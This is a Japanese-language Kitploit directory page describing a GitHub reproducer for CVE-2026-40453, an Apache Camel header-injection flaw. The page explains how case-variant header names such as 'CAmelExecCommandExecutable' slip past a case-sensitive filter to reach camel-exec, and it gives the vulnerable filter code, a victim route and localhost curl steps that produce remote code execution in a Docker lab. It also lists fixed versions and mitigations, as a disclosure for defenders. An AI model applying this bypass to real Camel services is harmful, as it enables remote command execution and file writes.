Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-40453 — Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-40453
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboscerd/cve-2026-40453

CVE-2026-40453

Reproducer for CVE-2026-40453: Apache Camel case-variant Camel header injection (incomplete fix of CVE-2025-27636)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

大文字小文字バリアント Camel ヘッダーインジェクション再現コード (CVE-2026-40453)

このプロジェクトは CVE-2026-40453 を実証します。これは CVE-2025-27636 の不完全な修正です。2025年の修正では HttpHeaderFilterStrategy に setLowerCase(true) が追加され、大文字小文字バリアントのヘッダー名(例: CAmelExecCommandExecutable)が正規の CamelExecCommandExecutable と同様にフィルタリングされるようになりました。しかし、同じ呼び出しは5つの非 HTTP HeaderFilterStrategy 実装(camel-jms、camel-sjms、camel-coap、camel-google-pubsub)には適用されず、これらの実装は大文字小文字を区別してフィルタリングする一方、Camel Exchange はヘッダーを大文字小文字を区別しないマップに保存します。そのため、攻撃者は大文字小文字を変えた Camel* 制御ヘッダーを注入してフィルターを迂回しつつ、下流のコンポーネント(camel-exec や camel-file など)に正規名で解決させることができます → リモートコード実行 / 任意のファイル書き込み。

この再現コードは、camel-coap を使ったバイパスを実証します(自己完結型で、外部ブローカーは不要)。同じ欠陥は JMS/SJMS/Google-Pubsub ストラテジにも影響します。

アドバイザリ: https://camel.apache.org/security/CVE-2026-40453.html

脆弱性の概要

技術的詳細

CoAPHeaderFilterStrategy(影響を受けるバージョン)は Camel* を大文字小文字を区別してフィルタリングします:

root@kitploit:~
public CoAPHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    // MISSING: setLowerCase(true);
}

CoAP リクエストが到着すると、CamelCoapResource.handleRequest() は、strategy.applyFilterToExternalHeaders(name, value, exchange) によるフィルタリングを経て、各 URI クエリパラメータを Exchange In ヘッダーにマッピングします:

  • CamelExecCommandExecutable — startsWith("Camel") は true → フィルタリングで除去されます。
  • CAmelExecCommandExecutable — startsWith("Camel") は false (CAm ≠ Cam) → フィルタリングされません。

Exchange のヘッダーマップは大文字小文字を区別しないため、後で exec プロデューサーが大文字小文字バリアントのヘッダーを正規名 CamelExecCommandExecutable として解決し、コマンドを上書きします。

被害ルート

root@kitploit:~
from("coap://0.0.0.0:5683/run")
    .to("exec:echo?args=hello")
    .convertBodyTo(String.class);

前提条件

  • Java 17+ と Maven 3.8+
  • Docker

再現手順

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

1) 正常系

root@kitploit:~
curl http://localhost:8080/exploit/normal      # -> hello

2) 正規ヘッダー — フィルタリングあり (RCE なし)

root@kitploit:~
curl http://localhost:8080/exploit/canonical
# injects CamelExecCommandExecutable / CamelExecCommandArgs
# -> /tmp/pwned-canonical created: false   (the filter strips canonical Camel* headers)

3) 大文字小文字バリアントヘッダー — バイパス (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/attack
# injects CAmelExecCommandExecutable / CAmelExecCommandArgs (capital A)
# -> /tmp/pwned created: true   (case-variant bypasses the case-sensitive filter)
docker exec cve-2026-40453 ls -la /tmp/pwned

クリーンアップ

root@kitploit:~
docker compose down

推奨される修正

4.14.6 / 4.18.2 / 4.20.0 にアップグレードしてください。修正 (CAMEL-23313) は、5つの非 HTTP HeaderFilterStrategy 実装に setLowerCase(true) を追加し、大文字小文字バリアントの Camel* 名もフィルタリングされるようにします。

緩和策

アップグレードするまでの間:

  1. 信頼できないプロデューサーの下流で、Camel ヘッダーを大文字小文字を区別せずに除去する — setLowerCase(true) を使用したカスタム HeaderFilterStrategy、または大文字小文字を区別しないパターンの removeHeaders を使用します。
  2. 信頼できない JMS / CoAP / Pub-Sub メッセージをヘッダー駆動型プロデューサーに転送しないようにします。

ファイル

root@kitploit:~
CVE-2026-40453/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CoapExecRoute.java        # victim: from(coap).to(exec)
    │   └── ExploitController.java    # /normal, /canonical (filtered), /attack (case-variant bypass)
    └── resources/
        └── application.properties

免責事項

この再現コードは、公開済みで修正済みの脆弱性を対象とした、セキュリティ研究および許可されたテスト専用のものです。明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
項目値
コンポーネントcamel-jms, camel-sjms, camel-coap, camel-google-pubsub (この PoC は camel-coap を使用)
影響を受けるクラスJmsHeaderFilterStrategy, ClassicJmsHeaderFilterStrategy, SjmsHeaderFilterStrategy, CoAPHeaderFilterStrategy, GooglePubsubHeaderFilterStrategy
根本原因大文字小文字を区別する startsWith("Camel"/"camel") フィルタリング(setLowerCase(true) の欠落)と、大文字小文字を区別しない Exchange ヘッダーマップの不一致
CWECWE-20 (不適切な入力検証) — メッセージヘッダーインジェクション
影響RCE / ヘッダー駆動型プロデューサーによる任意のファイル書き込み
影響を受けるバージョン3.0.0 以上 4.14.6 未満、4.15.0 以上 4.18.2 未満、4.19.0 以上 4.20.0 未満
修正済みバージョン4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23313 (CVE-2025-27636 の修正を完了)
報告者Saroj Khadka